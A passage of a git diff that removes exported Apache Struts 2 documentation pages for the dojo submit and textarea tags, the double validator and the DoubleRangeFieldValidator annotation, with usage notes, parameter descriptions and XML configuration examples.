-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>dojo submit</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="dojo-submit.html">dojo submit</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">dojo submit</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66801">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66801">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66801">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66801">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66801">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66801">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><parameter ac:name=""><a shape="rect" href="ajax-common-header.html">ajax common header</a></parameter><parameter ac:name="nopanel">true</parameter>
-
-<h2 id="dojosubmit-Description">Description</h2>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-
-<p>There's a bug in  IE6/IE7 which makes impossible to use the target's attribute with a parent Div, because such Div's content's are overwritten with the tag's <em>loadingText</em>. Resulting in an "undefined" message in the content's, instead of the result of the request.</p>
-
-<p>One possible alternative is to set <em>showLoadingText="false"</em>(the default) and set the indicator attribute to an element showing the desired loading text or image (outside the div).</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;img id="loadingImage" src="images/loadingAnimation.gif" style="display:none"/&gt;
-&lt;s:div id="parentDiv"&gt;
-    &lt;s:form action="actionName"&gt;
-        &lt;sx:submit  targets="parentDiv" showLoadingText="false" indicator="loadingImage"/&gt;
-    &lt;/s:form&gt;
-&lt;/s:div&gt;
-</plain-text-body>
-
-
-<h2 id="dojosubmit-Parameters">Parameters</h2>
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/ajax/submit.html}</plain-text-body>
-
-<h2 id="dojosubmit-Examples">Examples</h2>
-<plain-text-body>{snippet:id=example1|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Render an image submit:</p>
-<plain-text-body>{snippet:id=example2|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Render a button submit:</p>
-<plain-text-body>{snippet:id=example3|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Update target content with html returned from an action:</p>
-<plain-text-body>{snippet:id=example4|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Submit form(inside the form):</p>
-<plain-text-body>{snippet:id=example5|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Submit form(outside the form):</p>
-<plain-text-body>{snippet:id=example6|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Using beforeNotifyTopics:</p>
-<plain-text-body>{snippet:id=example7|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Using afterNotifyTopics and highlight target:</p>
-<plain-text-body>{snippet:id=example8|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body>
-<p>Using errorNotifyTopics and indicator:</p>
-<plain-text-body>{snippet:id=example9|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Submit.java}</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dojo-textarea.html b/content/docs/dojo-textarea.html
deleted file mode 100644
index 25218a2..0000000
--- a/content/docs/dojo-textarea.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>dojo textarea</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="dojo-textarea.html">dojo textarea</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">dojo textarea</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66931">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66931">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66931">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66931">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66931">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66931">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="dojotextarea-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="dojotextarea-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/double-validator.html b/content/docs/double-validator.html
deleted file mode 100644
index 70eff52..0000000
--- a/content/docs/double-validator.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>double validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="double-validator.html">double validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">double validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63948">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63948">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63948">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63948">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63948">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63948">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="doublevalidator-Description">Description</h1>
-<p>Field Validator that checks if the double specified is within a certain range.</p>
-
-<h1 id="doublevalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>minInclusive - the minimum inclusive value in FloatValue format specified by Java language (if none is specified, it will not be checked) </li><li>maxInclusive - the maximum inclusive value in FloatValue format specified by Java language (if none is specified, it will not be checked) </li><li>minExclusive - the minimum exclusive value in FloatVal [...]
-
-<p>You can specify either minInclusive, maxInclusive, minExclusive and maxExclusive or minInclusiveExpression, maxInclusiveExpression,
-minExclusiveExpression and maxExclusiveExpression as a OGNL expression, see example below. You can always try to mix params
-but be aware that such behaviour was not tested.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${minInclusiveExpression}, ${maxInclusiveExpression}, ${minExclusiveExpressionExpression} and ${maxExclusive}
-as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="doublevalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-        &lt;validator type=&quot;double&quot;&gt;
-        &lt;param name=&quot;fieldName&quot;&gt;percentage&lt;/param&gt;
-        &lt;param name=&quot;minInclusive&quot;&gt;20.1&lt;/param&gt;
-        &lt;param name=&quot;maxInclusive&quot;&gt;50.1&lt;/param&gt;
-        &lt;message&gt;Age needs to be between ${minInclusive} and ${maxInclusive} (inclusive)&lt;/message&gt;
-    &lt;/validator&gt;
-
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;percentage&quot;&gt;
-        &lt;field-validator type=&quot;double&quot;&gt;
-            &lt;param name=&quot;minExclusive&quot;&gt;0.123&lt;/param&gt;
-            &lt;param name=&quot;maxExclusive&quot;&gt;99.98&lt;/param&gt;
-            &lt;message&gt;Percentage needs to be between ${minExclusive} and ${maxExclusive} (exclusive)&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-
-    &lt;!-- Field Validator Syntax with expression --&gt;
-    &lt;field name=&quot;percentage&quot;&gt;
-        &lt;field-validator type=&quot;double&quot;&gt;
-            &lt;param name=&quot;minExclusiveExpression&quot;&gt;${minExclusiveValue}&lt;/param&gt; &lt;!-- will be evaluated as: Double getMinExclusiveValue() --&gt;
-            &lt;param name=&quot;maxExclusiveExpression&quot;&gt;${maxExclusiveValue}&lt;/param&gt; &lt;!-- will be evaluated as: Double getMaxExclusiveValue() --&gt;
-            &lt;message&gt;Percentage needs to be between ${minExclusive} and ${maxExclusive} (exclusive)&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/doublerangefieldvalidator-annotation.html b/content/docs/doublerangefieldvalidator-annotation.html
deleted file mode 100644
index 45d874d..0000000
--- a/content/docs/doublerangefieldvalidator-annotation.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>DoubleRangeFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="doublerangefieldvalidator-annotation.html">DoubleRangeFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">DoubleRangeFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14279">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14279">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
